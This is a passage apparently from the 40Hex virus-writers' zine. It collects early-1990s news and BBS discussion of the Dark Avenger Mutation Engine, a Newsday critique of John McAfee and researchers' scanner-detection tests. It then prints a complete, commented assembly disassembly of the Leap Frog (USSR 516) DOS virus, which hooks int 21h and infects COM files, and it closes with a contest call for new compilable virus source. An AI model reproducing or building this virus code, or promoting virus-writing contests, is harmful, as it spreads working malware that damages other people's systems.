the MtE for sure - I tested it on the demo virus supplied with the
package.
As a conclusion, don't panic. Currently there are only two viruses,
using the MtE and both are too silly to pose a serious threat. Copies
of the MtE have been provided to several anti-virus researchers (no,
don't write me to ask for a copy, you won't get one), including McAfee
Associates, Fridrik Skulason, Dr. Solomon, etc., so there are a lot of
people working right now on the problem. The good news is that once we
learn to recognize the MtE, we'll be able to detect -any- new viruses
that are using it.
Oh, yes, just out of interest. The whole package comes in a neat ZIP
archive, with -AV code for "CrazySoft, Inc.". The Bulgarian hackers
have demonstrated again that the -AV authenticity verification in
PKZIP is just crap, so PLEASE DO NOT RELY ON IT!
<<<<<<<<<<
Article 2:
<<<<<<<<<<
From InfoWorld Magazine
Tech Talk
by Steve Gibson
AT LAST, HOW TO PROTECT YOURSELF FROM POLYMORPHIC VIRUSES
My past two columns concerning the threat presented by polymorphic
viruses triggered an informative conversation with the industry's
chief virus researcher, John McAfee. During that conversation I
learned that things are even worse than I'd supposed.
It turns out that the "Dark Avenger" bulletin board system, which
disseminates virus code, has recently published source code for the
Dark Avenger Mutation Engine. The Mutation Engine is nothing less than
a first-class code kernel that can be tacked onto any existing or
future virus to turn it into a nearly impossible to detect
self-encrypting virus.
My examination of a sample virus encrypted by the Mutation Engine
provided by McAfee revealed alarming capabilities. Not only do the
Dark Avenger Mutation Engine viruses employ all of the capabilities I
outlined in last week's column, but they also use a sophisticated
reversible encryption algorithm generator.
The Mutation Engine uses a meta-language-driven algorithm generator
that allows it to create an infinite variety of completely original
encryption algorithms. The resulting unique algorithms are then salted
with superfluous instructions, resulting in decryption algorithms
varying from 5 to 200 bytes long.
Because McAfee has already received many otherwise known viruses
that are now encapsulated with the Mutation Engine's polymorphic
encryption, it's clear that viruses of this new breed are now
traveling among us.
It is clear that the game is forever changed; the sophistication of
the Mutation Engine is amazing and staggering. Simple pattern-matching
virus scanners will still reliably detect the several thousand
well-known viruses; however, these scanners are completely incapable
of detecting any of the growing number of viruses now being cloaked by
the Dark Avenger Mutation Engine.
So what can we ultimately do to thwart current and future software
viruses? After brainstorming through the problem with some of our
industry's brightest developers and systems architects, I've reached
several conclusions.
First, scanning for known viruses within executable program code is
fundamentally a dead end. It's the only solution we have for the
moment, but the detectors can only find the viruses they are aware of,
and new developments such as the Mutation Engine render even these
measures obsolete.
Second, detecting the reproductive proclivities of viruses on the
prowl is prone to frequent false alarms and ultimately complete
avoidance. With time the viruses will simply circumvent the detectors,
at which time the detectors will only misfire for self-modifying
benign programs.
Third, the Achilles' heel of our current DOS-based PC is its
entirely unprotected nature. As long as executable programs (such as
benign and helpful system utilities) are able to freely and directly
access and alter the operating system and its file system, our
machines will be vulnerable to deliberate attack.
So here's my recommendation.
Only a next-generation protected-mode operating system can enforce
the levels of security required to provide complete viral immunity. By
marking files and code overlays as "read and execute only" and by
prohibiting the sorts of direct file system tampering performed by our
current crop of system utilities, such operating systems will be able
to provide their client programs with complete viral immunity.
The final Achilles' heel of a protected-mode operating system is the
system boot process, before and during which it is still potentially
vulnerable. By changing the system ROM BIOS' boot priority to favor
hard disk over floppy, this last viral path can be closed and blocked
as well.
(Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine California....)
<<<<<<<<<<
Article 3:
<<<<<<<<<<
Date: Mon, 06 Apr 92 14:18:09 -0400
>From: Joseph Halloran <JHLQC%CUNYVM.BITNET@BITNET.CC.CMU.EDU>
Subject: NY Newsday Article on McAfee & Viruses
(NOTE: The following article was published as a whole in the
April 5, 1992 edition of New York Newsday, page 68. It is reprinted
below without the express consent of Joshua Quittner, New York Newsday,
or the Times-Mirror Company)
SOFTWARE HARD SELL
------------------
"Are computer viruses running rampant, or is
John McAfee's antivirus campaign running amok?"
-By Joshua Quittner, staff writer
John McAfee is doing one of the things he does best: warning a
reporter about the perils of a new computer virus.
"We're into the next major nightmare -- the Dark Avenger Mutating
Engine," McAfee says, ever calm in the face of calamity. "It can
attach to any virus and make it mutate." The ability to "mutate"
makes it virtually undetectable to antivirus software, he explains.
"It's turning the virus world upside down."
But wait. This is John David McAfee, the man who once ran a service
that revolved around the curious premise that, if you paid him a member-
ship fee and tested HIV-negative, you could have AIDS-free sex with other
members for six months. This is the man who jumped from biological
viruses to computer viruses and quickly became a flamboyant expert on the
new demi-plague, showing up at the scene of infected PCs in his Winnebago
"antivirus paramedic unit."
And this is the same man who started something called the Computer
Virus Industry Association, and, as chairman, made national headlines
last month by saying that as many as _five million_ computers might be
infected with a virus named Michelangelo.
The virus turned out to be a dud, in the opinion of many industry
experts. But not before McAfee became a media magnet: In the weeks be-
fore March 6, when Michelangelo was supposed to erase the hard disks of
infected IBM and compatible PCs, he was featured by Reuters, the
Associated Press, USA Today, the Wall Street Journal, "MacNeil/Lehrer
News Hour," CNN, "Nightline," National Public Radio and "Today."
What some news reports failed to point out, however, is that McAfee
is also the man who runs Santa Clara, Calif.-based McAfee Associates,
a leading manufacturer of antivirus software, and that he stood to
benefit from publicity about Michelangelo. McAfee won't reveal sales,
but it seems clear they shot up during the two-week frenzy.
"People kept saying I hyped this, I hyped this," said McAfee, who
still defends the notion that Michelangelo was widespread. "I never
contacted the press -- they called me."
McAfee's detractors say the Michelangelo scare was mainly hype and
media manipulation, a parade in which most of the floats were built by
McAfee. They say McAfee helped drive the rush to buy antivirus soft-
ware -- with his products poised to sell the most -- while boosting the
profile of McAfee Associates, a company that recently received
$10 million from venture capitalists McAfee says are waiting to sell
stock publicly.
And, critics say, while McAfee touts a recent evaluation that rated
his software alone as 100 percent effective in finding virtually every
known virus, he funded the evaluation and picked his competitors.
"He does know the issue of viruses, no doubt about it," said Ken
Wasch, executive director of the 900-member Software Publishers Assoc-
iation. "But his tactics are designed to sell _his_ software."
McAfee says the media consistently misquoted him about how
widespread Michelangelo was. And his company didn't profit from the
virus, he says, but actually suffered due to the free advice his staff
was dispensing. "It does not benefit me in any way or shape or form
to exaggerate the virus problem."
Even McAfee's detractors admit his programs do what they're supposed
to do: track down coding that's maliciously placed in software to make it
do anything from whistle "Yankee Doodle" to erase valuable data.
His strongest distribution channel is shareware, a kind of software
honor system common on electronic bulletin boards. PC users can download
the programs over phone lines and pay later if they find them useful.
McAfee's programs are "probably the most popular shareware programs
of all time, second only to PKZIP," which compresses data, said George
Pulido, technical editor of Shareware Magazine. He said McAfee's
programs have been copied by millions of people, although only about 10
percent of shareware users actually pay.
A more reliable money-maker is corporate site licenses, where McAfee
is one of the three biggest players. Michael Schirf, sales manager of
Jetic Inc., a Vienna, Va., company that is McAfee's sales agent for the
Mid-Atlantic region, claimed more than 300 of the Fortune 500 companies
have licensed his software, paying $3,250 to $20,000, depending on the
number of PCs. During the Michelangelo scare, "you couldn't get through
to us at one point because of people asking about it and trying to get
it," Schirf said.
Certainly, McAfee's software wasn't the only antivirus software
selling. Fueled by giveaways of "special edition" programs that scanned
exclusively for the Michelangelo virus, sales of general antivirus
packages were a bonanza for everyone in the business, including Norton/
Symantec and Central Point Software, two other leading sellers.
"Our sales of antivirus software were up 3,000 percent," said Tamese
Gribble, a spokesman for Egghead Software, the largest discount software
retailer in the country. "We were absolutely swamped."
Rod Turner, a Norton executive vice president, said antivirus sales
increased fivefold. "We didn't make any product in advance," he said,
"so we were caught with our pants down." Companies like Norton that
sell factory-shipped software couldn't ramp up quickly enough to take
full advantage of the situation. But McAfee's software comes mostly
through electronic bulletin boards and sales agents, giving him a nearly
limitless capability to meet demand. "I can supply as many copies of the
software as I have blank diskettes to put it on," Schirf said.
The Michelangelo scare was also good for pay-by-the-hour on-line
information services such as Compuserve, which saw a huge increase in the
time users logged on looking for advice on Michelangelo.
Indeed, a virus forum on Compuserve was hugely popular, with users
downloading antivirus programs, including McAfee's, 49,000 times that
week, Compuserve spokesman Dave Kishler said. Compuserve made more than
$100,000 from the online time.
McAfee makes an attractive industry spokesman. Tall and lean, with a
mellifluous voice, he speaks in perfect sound bites -- an antidote to the
unquotably bland men who otherwise dominate the antivirus business.
A mathematician who got into programming when he graduated from
Roanoke College, McAfee, 47, said he has held a dozen jobs, ranging from
work on a voice-recognition board for PCs to consulting for the Brazilian
national phone company in Rio de Janeiro. His first mention in the media
was in connection with the American Association for Safe Sex Practices, a
Santa Clara club formed so that its members could engage in AIDS-free
sex. For a $22 fee, members whose blood tested HIV-negative were given
cards certifying them AIDS-free, buttons saying "Play it Safe," and were
entered on McAfee's on-line data base. Updates, every six months, cost
$7.
Anyone who knows anything about AIDS knows a certificate that someone
is AIDS-free is good only until the person has sex with or shares an
intravenous needle with an infected person.
When asked now about the safe-sex group, McAfee at first denied
anything but a passing affiliation: "I worked for those people as a con-
tractor," he said, adding, "It was not my company." But later, when he
was reminded that both the San Diego Tribune and the San Francisco
Chronicle described him in feature stories as the entrepreneur who
started the organization ("I believe I am providing an environment
where people who are sexually active can feel more safe and secure,"
he told the Tribune in a March 9, 1987, story), McAfee sidestepped the
ownership question. He said the group performed a valuable function,
maintaining a data base on AIDS and information about the disease.
"I thought they were pretty well ahead of their time," he said,
quickly locating a 1987 newsletter put out by the group, which featured
articles such as "Kissing and AIDS" and "The Apparent Racial Bias of the
AIDS Virus."
The association no longer exists. "They came and went pretty fast,"
McAfee said, chuckling.
McAfee got his first taste of computer viruses at around that time.
"It was an accident, like anything else in life," he recalled. "I got
a copy of the Pakistani Brain. I think I got it from one of the local
colleges. It was the program of the year." The program, reportedly
written by two Pakistani students trying to foil software pirates,
destroyed some PC data.
By 1989, McAfee was a virus expert, selling the first antivirus
software and offering to make house calls with his Winnebago cum computer
lab.
"John's antivirus unit is the first specially customized unit to wage
effective, on-the-spot counterattacks in the virus war," McAfee and a
co-author reported in "Computer Viruses, Worms, Data Diddlers, Killer
Programs, and Other Threats to Your System," their 1989 book. "Event-
ually, there will be many such mobile search, capture and destroy anti-
virus paramedic units deployed around the world."
He had also founded the Computer Virus Industry Association, with
himself as chairman.
"The CVIA is nothing more than McAfee," said Wasch, of the Software
Publishers Association. "I had a run-in with him three years ago about
that." Wasch said he had been asked by other antivirus businesses to
look into McAfee's group after claims surfaced that he was railroading
companies into joining -- something McAfee vigorously denies. Wasch
said he believes the assocation was a self-serving group that did
little more than support McAfee's business.
"It would be like Microsoft creating the Windows Support Association
as a front to promote its Windows software," Wasch said.
McAfee denies the CVIA is a front and said Wasch's group was
threatened by the creation of the virus association. "They wanted to
take us over," he said. In any event, he said, the association is now
managed by others and his involvement is minimal, adding, "It's more of
a nuisance to me." But he does say the association is dependent on his
private business for much of its virus data. "McAfee Associates has all
the numbers," he said.
Detractors say McAfee now uses another association to hype his
programs.
The National Computer Security Association released one of the few
ratings of antivirus software, with McAfee's program on top -- a
comparison he's quick to cite. But that may be because he influenced
which software would be compared with his and how the tests were run,
said David Stang, who founded the for-profit association in Washington,
D.C., two years ago. Stang recently left the association and started
a new one after a falling-out with McAfee over testing procedures.
Stang said one of the assocation's functions was to "certify"
antivirus software -- to test and rate competing programs. "It was his
[McAfee's] idea that we certify products," Stang said. And when no
company rushed forward to pay $500 to have its software rated, McAfee
"sent me the products and the check and said 'go certify.'"
McAfee says he spent thousands of dollars to evaluate some of his
competitors' programs. In February, 1992, in fact, he paid for his own
and the other five programs to be certified. His was ranked 100 percent
effective. The others ranged from 44 percent to 88 percent effective.
"If your product competes with mine, I'd like for those customers of
mine to know that your product isn't as good as mine," he said. But in
the February certification, notably absent were McAfee's biggest
competitors: Dr. Solomon's ToolKit and Skulason's F-Prot.
"I've got 75 competitors. I pick the ones who are going to give me
the most trouble that month," McAfee explained.
The February evaluation was actually a second, and more favorable
test, that Stang says he performed at McAfee's request. Stang said
McAfee was dissatisfied with the assocation's methods -- it tested the
software against a "library" of viruses that McAfee thought wasn't
comprehensive enough. So Stang said he agreed to use a new library that
he claims was built on viruses McAfee found and supplied. Scores for
McAfee's program rose while some others dropped sharply. McAfee said
Stang's virus library was incomplete and his testing methods "wishy-
washy," and he defended the new library's independence.
"This is not something that anybody, let alone me, could mess with,"
said McAfee. "You can't jimmy these scores. You can't say that McAfee
buys more certifications, therefore he'll get a better score, because
other vendors would complain."
"They wouldn't let me get away with it."
[John McAfee]
<<<<<<<<<<
Article 4:
<<<<<<<<<<
From: Government Computer News
March 30, 1992
By: Kevin Power, GCN staff
"NIST Expert Warns Feds to Find Better Ways to Head Off Viruses"
BALTIMORE - In the wake of the Michelangelo scare, a top security
expert with the National Institute of Standards and Technology has
warned agencies against relying too heavily on virus scanning
software.
Anti-virus software ia a useful detection tool, but it often takes
too long to use and does not solve fundamental problems, said Dennis
Steinhauer, manager of the computer security evaluation group at
NIST's Computer Systems Laboratory. He spoke at the March meeting of
the National Computer System Security and Privacy Advisory Board.
Steinauer said the fallout from Michelangelo was minimal, thanks to
early detection, plenty of publicity and governmentwide [sic]
warnings. But he also stressed that vendors and agencies need more
effective methods of protecting against viruses in newly acquired
hardware and software.
"What were believed to be reliable channels may no longer be," he
said. "There's a lot that needs to be done to make sure that users
receive better assurances that products are not contaminated. This
incident may have undermined consumer confidence."
Steinhauer said one solution would be to build hardware and
operating systems that are less vulnerable.
For example, vendors can isolate the boot sector of a hard drive to
guard against infection. But agencies tend to shy away from such
serious measures, because they force managers make hard choices about
system functionality and user requirements, Steinhauer said.
"We have the technology to do what is necessary. But we don't know
what the price is to the user," he said. "The question is whether I'm
willing to have my machine hobbled for protection. It's similar to
installing a governor on a car to limit a vehicle's speed to 55 miles
per hour."
Agencies still are surveying for possible damage inflicted by
Michelangelo, Steinhauer said. But he said the incident showed NIST
officials that more agency computer emergency response teams (CERTs)
are needed.
CERTs, established in some agencies for just such attacks, worked
well, Steinhauer said. The teams coordinate their work through the
Forum on Incident Response and Security Teams, or FIRST.
But Steinhauer said it was evident that not enough agencies have
established CERTs.
Internal agency security teams did their jobs, but the government
needs a better way to distribute security advisories and handle
less-publicized emergencies, Steinhauer said.
<<<<<<<<<<<
Article 5A:
<<<<<<<<<<<
Date: 05-29-92 (21:06) Number: 3019 of 3059 (Echo)
To: BILL LAMBDIN Refer#: NONE
From: CHARLIE MOORE Read: NO
Subj: POLYMORPHIC VIRUSES 1/2 Status: PUBLIC MESSAGE
Conf: VIRUS (52) Read Type: GENERAL (+)
Note: This message is a repost -- I tied up the first by failing
to set the lines per message < 99. My apologies to all.
Bill, regarding how McAfee's Scan detects the DAME you stated:
BL>Trust me. It is still string searches. McAfee finds those three
BL>bytes, and then follows the steps to decrypt the virus to memory. If
BL>it continues long enough to possitively identify the DAME, Scan
BL>reports the virus, and looks at the next
Now, being in the security business, and probably a bit paranoid as a
result, when I see or hear "Trust me", I get a little queezy. I don't
know the source of your information Bill (perhaps you'll let us know)
but I don't think it's correct.
On May 11, 1992, McAfee Associates was featured in a news release about
the DAME -- Dark Avenger Mutation Engine No Threat to Protected PCs.
Below is a quote from this release that does not track with what you're
telling me (BTW, it was McAfee Associates who sent me the news
release -- did not see it until today though).
The Mutation Engine, however, uses a special algorithm to
generate a completely variable decryption routine each time.
"The result is that no three bytes remain constant from one
sample to the next," said Igor Grebert, senior programmer at
McAfee Associates. "This makes detection using conventional
string-matching techniques impossible."
Now, in my last message to you I stated that I understood three bytes
did remain constant (I got this info from two sources; Hoffman's Vsum204
and tech support at Fifth Generation Systems -- I now suspect Hofman is
wrong and tech support at Fifth Generation Systems was probably just
parroting Hoffman's Vsum. As I've stated before, solid technical
information about the DAME is limited!
Today, I called Igor Grebert at McAfee Associates to verify that he was
properly quoted in the news release -- he was. Igor would not tell me
in detail how McAfee's Scan detects the DAME; however, he did assure me
that searching for a three-byte string was not the technique used.
BL>CM> I don't think anyone, not even the Dark Avenger himself, can put an
BL>CM> accurate number on the possible virus mutations generated by the
BL>Again trust me. It is mathmatics pure and simple.
BL>the DAME randomly picks a 32 bit seed. Each bit will either be a 1 or 0.
BL>... according to my scientific calculator, or 4.3 billion possible
BL>combinations in english.
BL>If the numbers above ring bells, it is binary plain and simple.
Well Bill, I'm certainly not going to argue with your calculator. :-)
However, my point was, and remains, that the possible numbers associated
with a random seed are not necessarily equal to the possible number of
mutations the DAME is capable of generating. Now, as I stated to you
in my original message, solid information on the DAME (in particular,
how it works interactively with its various segments of code) is
limited. Even the most experienced and best qualified researchers
often don't agree on certain aspects and more than a few questions
remain about the limits of variability and related issues.
Below is the latest and best info I've seen that gives some insight
into the complexity here. The message was posted on the Internet's
Virus-L Conference; its author, Vesselin Bontchev, is one of the
most highly respected virus researchers in the world.
Date: 21 May 92 22:11:43 +0000
From: bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
Subject: Detecting the MtE (PC)
Almost half an year has passed since the Dark Avenger's Mutating
Engine (MtE) has been made available to the anti-virus researchers.
Currently several scanners claim to detect it with "100 %
reliability". Do they really succeed however?
We decided to run some tests at the VTC. The tests are preliminary and
were performed by Morton Swimmer. The Fear virus was used (a minor
Dedicated patch) to generate 9,471 infected files. The files were
generated by the natural infection process - the reason was to also test
the randomness of the random number generator supplied with the MtE. Of
those 9,471 infected examples 3 turned out to be duplicates, which
yelded to 9,468 different instances of the virus. It also means that the
random number generator is rather good...
Those examples filled a 40 Mb disk (which didn't permit us to generate
10,000 different examples, as we wished initially). We wanted to keep
them all, in order to be able to reproduce the tests.
The three scanners were run on those virus samples. The scanners were
the three that showed best detection rate on our collection, merely
Dr. Solomon's FindVirus (version 4.15 with drivers from May 15, 1992),
Fridrik Skulason's F-Prot 2.03a, and McAfee's SCAN 89-B.
All the three scanners failed the test, each in a different way.
FindVirus showed the worst results. It did not detect 744 virus
samples (7.86 %). F-Prot did not detect 13 examples (0.14 %). SCAN did
not detect 4 examples (0.04 %). SCAN shows the best detection rate in
the case of MtE, but we also got a report for one false positive.
For the average users the above rates might appear to be high enough.
What are 4 undetected infected files when almost 10,000 infected ones
have been properly detected? Well, it does matter. When you are
looking for a particular known virus, anything below 100 % detection
means that your program fails to detect it reliably. Rmember that a
single not detected file may re-start the epidemy.
There is another thing to be concerned about. The MtE uses a 128-byte
random number generator, which means that theoretically it can exist
in 2^512 different variants. And 0.04 % of this is still quite a
CM> [Hmm... yet a different number of possible mutations?]
lot... Suppose that some virus writer runs the same tests (or even
more elaborate ones) and determines for which values of the random
number generator the virus is not detected. Then he can create a new
random number generator (the MtE provides the possibility for
user-supplied random number generators to be plugged in), which
generates -only- those values... Such a virus will not vary a lot, but
it will still mutate and -all- its mutations will escape that
particular scanner...
As I mentioned in the beginning, those were only preliminary tests. We
intend to modify the random number generator so that it will generate
consecutive (instead of random) numbers and to create a few hundreds
thousands mutations by keeping only those which a particular scanner
does NOT detect. We'll then re-run the tests for random ranges of
consecutive mutations. All we can say now is that neither of the three
scanners mentioned above is able to detect MtE-based viruses with 100
% reliability.
Currently I am aware of the existence of at least three other scanners
which claim 100 % detection of the MtE. One comes with the new version
of V-Analyst III, the second has been designed by IBM, and the third
is Dutch scanner. As soon as we get them we'll re-run the tests.
Regards,
Vesselin
----------------------End of Vesselin's Message----------------------
Bill, I'll follow up on the subsequent tests Vesselin intends to run and
report the results to you.
One thing I've learned in this business is that accurate and solid
information is sometimes hard to come by and the experts don't always
have all the answers. Although I think Vesselin's above message is
pretty solid, I also think he fails to consider something: on the one
hand, he states a theoretical 2^512 (in contrast, your number is 2^32)
different variants; yet, his empirical data produces 3 duplicate
mutations from a run of less than 10 thousand. I think this is rather
odd from a statistical perspective.
Regards,
Charlie Moore
---
<<<<<<<<<<<
Article 5B:
<<<<<<<<<<<
Date: 05-30-92 (15:08) Number: 3021 of 3059 (Echo)
To: BILL LAMBDIN Refer#: NONE
From: CHARLIE MOORE Read: NO
Subj: POLYMORPHIC VIRUSES Status: PUBLIC MESSAGE
Conf: VIRUS (52) Read Type: GENERAL (+)
Bill, here's a followup post from Vesselin regarding the DAME:
-----------------Extracted from Internet's Virus-L--------------------
Date: 27 May 92 08:44:06 +0000
From: bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
Subject: Re: Detecting the MtE (PC)
bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) writes:
> MtE. Of those 9,471 infected examples 3 turned out to be duplicates,
> which yelded to 9,468 different instances of the virus. It also means
Correction: a fourth duplicate has been found later. Therefore the
total number of generated different mutations used during the test is
only 9,467.
> Currently I am aware of the existence of at least three other scanners
> which claim 100 % detection of the MtE. One comes with the new version
> of V-Analyst III, the second has been designed by IBM, and the third
> is Dutch scanner. As soon as we get them we'll re-run the tests.
We tried out the Dutch scanner. Its authors were present during the
test. When they saw the results, they decided that the program is not
ready to be tested yet and promised to send us a fixed version soon...
:-)
We just received the V-Analyst III scanner; we haven't tested it yet.
As soon as the test is performed, I'll post the results.
Meanwhile we received and tested yet another scanner which claims "100%
detection of the MtE-based viruses". It is a German product, called
AntiVir IV and produced by H+BEDV. The version tested was 4.03 of May
15, 1992, beta version. It missed 584 mutations (6.17 %).
Regards,
Vesselin
- --
Vesselin Vladimirov Bontchev Virus Test Center, University of Hamburg
Tel.:+49-40-54715-224, Fax: +49-40-54715-226 Fachbereich Informatik - AGN
** PGP public key available by finger. ** Vogt-Koelln-Strasse 30, rm. 107 C
e-mail: bontchev@fbihh.informatik.uni-hamburg.de D-2000 Hamburg 54, Germany
40Hex Number 7 Volume 2 Issue 3 File 006
Virus Spotlite on: Leap Frog
It's always interesting to find new residency techniques. I suppose everyone
by now is tired of the traditional high-memory loading routine and is on the
lookout for something different. 40Hex comes to the rescue!
This virus, the "Leap Frog" or USSR 516, has one of the most unique methods
I have ever seen. I was mucking around in VSUM and noticed that it, according
to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS
Stacks." She is, of course, not telling us the entire story. Leap Frog
basically latches onto and resides in a DOS disk buffer. I do not know who
the author is, but I commend him for his innovative technique. I took the
liberty of disassembling the virus which is given below. It should be an
exact byte-for-byte matchup of the original carrier file (or at least should
be extremely similar). The offsets are in their correct locations, etc, etc.
It is simple to understand and terribly efficient.
Although the coding is tight, there are some inconsistencies. For
example, I do not understand the purpose of the timing routine(int 21h/ah=30h)
in the code. I also do not understand why the author decided to infect COM
files in such an abnormal way. An interesting "feature" is the disabling of
Control-Break checking - a thoroughly unnecessary piece of code. I believe
further that the line above "findmarker" should read:
lds di,dword ptr ds:[30h*4]
In any case, the code is otherwise very, very good. It is great for studying
by newcomers and "oldtimers" alike. Things to look for:
Residency routine
Lack of extensive use of relative offsets
Use of stack frame in the interrupt handler
Critical error handler
Enjoy! Dark Angel of PHALCON/SKISM
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
push ax
call beginvir
orig4 db 0cdh, 20h, 0, 0
int30store db 0, 0, 0, 0 ; Actually it's int 21h
; entry point
int21store db 0, 0, 0, 0
beginvir: pop bp ; BP -> orig4
mov si,bp
mov di,103h
add di,[di-2] ; DI -> orig4
movsw ; restore original
movsw ; 4 bytes of program
xor si,si
mov ds,si
les di,dword ptr ds:[21h*4]
mov [bp+8],di ; int21store
mov [bp+0Ah],es
lds di,dword ptr ds:[30h*4+1] ; Bug????
findmarker:
inc di
cmp word ptr [di-2],0E18Ah ; Find marker bytes
jne findmarker ; to the entry point
mov [bp+4],di ; and move to
mov [bp+6],ds ; int30store
mov ax,5252h ; Get list of lists
int 21h ; and also ID check
add bx,12h ; Already installed?
jz quitvir ; then exit
push bx
mov ah,30h ; Get DOS version
int 21h
pop bx ; bx = 12, ptr to 1st
; disk buffer
cmp al,3
je handlebuffer ; if DOS 3
ja handleDBHCH ; if > DOS 3
inc bx ; DOS 2.X, offset is 13
handlebuffer:
push ds
push bx
lds bx,dword ptr [bx] ; Get seg:off of buffer
inc si
pop di
pop es ; ES:DI->seg:off buff
mov ax,[bx] ; ptr to next buffer
cmp ax,0FFFFh ; least recently used?
jne handlebuffer ; if not, go find it
cmp si,3
jbe quitvir
stosw
stosw
jmp short movetobuffer
handleDBHCH: ; Disk Buffer Hash Chain Head array
lds si,dword ptr [bx] ; ptr to disk buffer
lodsw ; info
lodsw ; seg of disk buffer
; hash chain head array
inc ax ; second entry
mov ds,ax
xor bx,bx
mov si,bx
lodsw ; EMS page, -1 if not
; in EMS
xchg ax,di ; save in di
lodsw ; ptr to least recently
; used buffer
mov [di+2],ax ; change disk buffer
; backward offset to
; least recently used
xchg ax,di ; restore EMS page
mov [di],ax ; set to least recently
movetobuffer: ; used
mov di,bx
push ds
pop es ; ES:DI -> disk buffer
push cs
pop ds
mov cx,108h
lea si,[bp-4] ; Copy from start
rep movsw
mov ds,cx ; DS -> interrupt table
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
mov word ptr ds:[4*21h+2],es ; at int21
quitvir:
push cs ; CS = DS = ES
pop es
push es
pop ds
pop ax
mov bx,ax
mov si, 100h ; set up stack for
push si ; the return to the
retn ; original program
int24:
mov al,3 ; Ignore all errors
iret
tickstore db 3 ; Why???
buffer db 3, 0, 9, 0
int21:
pushf
cli ; CP/M style call entry
call dword ptr cs:[int30store-start]
retn ; point of int 21h
int21DSDX: ; For int 21h calls
push ds ; with
lds dx,dword ptr [bp+2] ; DS:DX -> filename
call int21
pop ds
retn
cmp ax,4B00h ; Execute
je Execute
cmp ax,5252h ; ID check
je CheckID
cmp ah,30h ; DOS Version
je DosVersion
callorig21: ; Do other calls
jmp dword ptr cs:[int21store-start]
DosVersion: ; Why????? ; DOS Version
dec byte ptr cs:[tickstore-start]
jnz callorig21 ; Continue if not 0
push es
xor ax,ax
push ax
mov es,ax
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
; since midnight
and al,7 ; MOD 15
inc ax
inc ax
mov cs:[tickstore-start],al ; # 2-17
pop ax
pop es
iret
CheckID: ; ID Check
mov bx,0FFEEh ; FFEEh = -12h
iret
Execute: ; Execute
push ax ; Save registers
push cx
push es
push bx
push ds ; DS:DX -> filename
push dx ; save it on stack
push bp
mov bp,sp ; Set up stack frame
sub sp,0Ah ; Temporary variables
; [bp-A] = attributes
; [bp-8] = int 24 off
; [bp-6] = int 24 seg
; [bp-4] = file time
; [bp-2] = file date
sti
push cs
pop ds
mov ax,3301h ; Turn off ^C check
xor dl,dl ; (never turn it back
call int21 ; on. Bug???)
mov ax,3524h ; Get int 24h
call int21 ; (Critical error)
mov [bp-8],bx
mov [bp-6],es
mov dx,int24-start
mov ax,2524h ; Set to new one
call int21
mov ax,4300h ; Get attributes
call int21DSDX
jnc continue
doneinfect:
mov ax,2524h ; Restore crit error
lds dx,dword ptr [bp-8] ; handler
call int21
cli
mov sp,bp
pop bp
pop dx
pop ds
pop bx
pop es
pop cx
pop ax
jmp short callorig21 ; Call orig handler
continue:
mov [bp-0Ah],cx ; Save attributes
test cl,1 ; Check if r/o????
jz noclearattr
xor cx,cx
mov ax,4301h ; Clear attributes
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Quit on error
noclearattr:
mov ax,3D02h ; Open read/write
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Exit if error
mov bx,ax
mov ax,5700h ; Save time/date
call int21
mov [bp-4],cx
mov [bp-2],dx
mov dx,buffer-start
mov cx,4
mov ah,3Fh ; Read 4 bytes to
call int21 ; buffer
jc quitinf
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
jne quitinf ; Otherwise, quit
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
dec dx
xor cx,cx
mov ax,4201h ; go there
call int21
mov ds:[buffer-start],ax ; new location offset
mov dx,orig4-start
mov cx,4
mov ah,3Fh ; Read 4 bytes there
call int21
mov dx,ds:[orig4-start]
cmp dl,0E9h ; 0E9h means we might
jne infect ; already be there
mov ax,ds:[orig4+2-start] ; continue checking
add al,dh ; to see if we really
sub al,ah ; are there.
jz quitinf
infect:
xor cx,cx
mov dx,cx
mov ax,4202h ; Go to EOF
call int21
mov ds:[buffer+2-start],ax ; save filesize
mov cx,204h
mov ah,40h ; Write virus
call int21
jc quitinf ; Exit if error
sub cx,ax
jnz quitinf
mov dx,ds:[buffer-start]
mov ax,ds:[buffer+2-start]
sub ax,dx
sub ax,3 ; AX->jmp offset
mov word ptr ds:[buffer+1-start],ax; Set up buffer
mov byte ptr ds:[buffer-start],0E9h; code the jmp
add al,ah
mov byte ptr ds:[buffer+3-start],al
mov ax,4200h ; Rewind to jmploc
call int21
mov dx, buffer-start
mov cx,4 ; Write in the jmp
mov ah,40h
call int21
quitinf:
mov cx,[bp-4]
mov dx,[bp-2]
mov ax,5701h ; Restore date/time
call int21
mov ah,3Eh ; Close file
call int21
mov cx,[bp-0Ah] ; Restore attributes
mov ax,4301h
call int21DSDX
jmp doneinfect ; Return
ussr516 ends
end stub
40Hex Number 7 Volume 2 Issue 3 File 007
Just a friendly reminder:
------------------------
Virus Contest!
'The Spammies(tm)'
------------------------
Deadline: July 4th, 1992
This is the first PHALCON/SKISM virus contest. As a matter of fact, this
is the first contest of its kind. We believe that it will motivate you to
produce more original code, rather than more hacks. Winners may have already
won $10,000,000, as well as the prestige of winning the first ever 'Spammie'
awards.
Rules and Regulations:
1) All submissions must be original source code. (no hacks)
2) Only one submission is allowed per programmer, plus one group project.
3) All viruses must be recieved by us before July 4th, 1992.
4) Viruses must be accompanied by a complete entry form. (see below)
5) The original, compilable, commented source MUST be included, along with an
installer program, or a dropper, in the case of boot block viruses.
6) Entries must include a location where the author may be contacted, such as
an email address or a BBS.
7) Personnel or persons related to personnel of PHALCON/SKISM are not
eligable.
8) The source must compile without error under Tasm or Masm (please specify
what assembler and version you used, along with the necessary command line
switches). If we cannot compile your virus, it will be disqualified.
9) All entries recieve a free subscription to 40hex. (hehehehe)
10) The entry must be uploaded privately to the sysop, stating that it is a
contest entry.
